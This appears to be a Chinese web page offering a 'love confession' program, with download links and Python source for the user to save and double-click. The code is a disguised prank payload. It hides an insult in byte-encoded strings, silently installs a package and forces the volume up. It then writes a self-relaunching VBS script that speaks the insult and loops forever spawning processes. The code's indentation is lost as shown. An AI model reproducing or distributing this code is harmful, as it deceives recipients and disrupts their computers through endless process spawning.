1.文件下载

即下即用程序(Windows程序)

下载源码

下载旧版本源码

2.源码

先在Microsoft store里搜索Python 3.9安装,然后

将下面代码保存文本文档改名表白.pyw然后双击运行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import time
import webbrowser
import os, sys
import threading

try:
from win32api import SendMessage as sm
except ImportError:
try:
os.system("pip install pypiwin32 || easy_install pypiwin32")
except OSError:
print("请安装pypiwin32")
os.system('pause')
sys.exit(1)
from win32api import SendMessage as sm
if not os.path.exists('C:\\delicious\\walnut\\waffles'):
os.makedirs('C:\\delicious\\walnut\\waffles')
os.chdir('C:\\delicious\\walnut\\waffles')
blessing = b'\xe4\xbd\xa0\xe8\xbf\x99\xe4\xb8\xaa\xe5\xa4\xa7\xe5\x82\xbb\xe9\x80\xbc\xe8\xbf\x98\xe6\x83\xb3\xe6\x89\xbe\xe5\xaf\xb9\xe8\xb1\xa1\xef\xbc\x8c\xe4\xbd\xa0\xe5\x81\x9a\xe6\xa2\xa6\xe5\x90\xa7\xef\xbc\x81'.decode()
frog = b'\xe5\xad\xa4\xe5\xaf\xa1'.decode()
with open('blessing.vbs', 'w') as f:
f.write(
'CreateObject("SAPI.SpVoice").Speak"' + blessing + frog * 15 + '"\nwscript.sleep(100000)\nCreateObject("WScript.Shell").run "wscript blessing.vbs", , True')
with open('1.vbs', 'w') as f:
f.write('CreateObject("WScript.Shell").run "wscript blessing.vbs", , True')
t1 = threading.Thread(target=sm, args=(-1, 0x319, 0x30292, 0xa0000))
t1.start()
webbrowser.open(
'https://tts.baidu.com/text2audio?tex=%E4%BD%A0%E8%BF%99%E4%B8%AA%E5%A4%A7%E5%82%BB%E9%80%BC%E8%BF%98%E6%83%B3%E6%89%BE%E5%AF%B9%E8%B1%A1%EF%BC%8C%E4%BD%A0%E5%81%9A%E6%A2%A6%E5%90%A7&cuid=baike&lan=ZH&ctp=1&pdt=301&vol=9&rate=32&pe')
time.sleep(1)

while 1:
if not t1.is_alive():
t1.start()
print(os.system('echo {0}{1}&&1.vbs'.format(blessing, frog * 100)))
time.sleep(time.localtime().tm_sec * 2 + 1)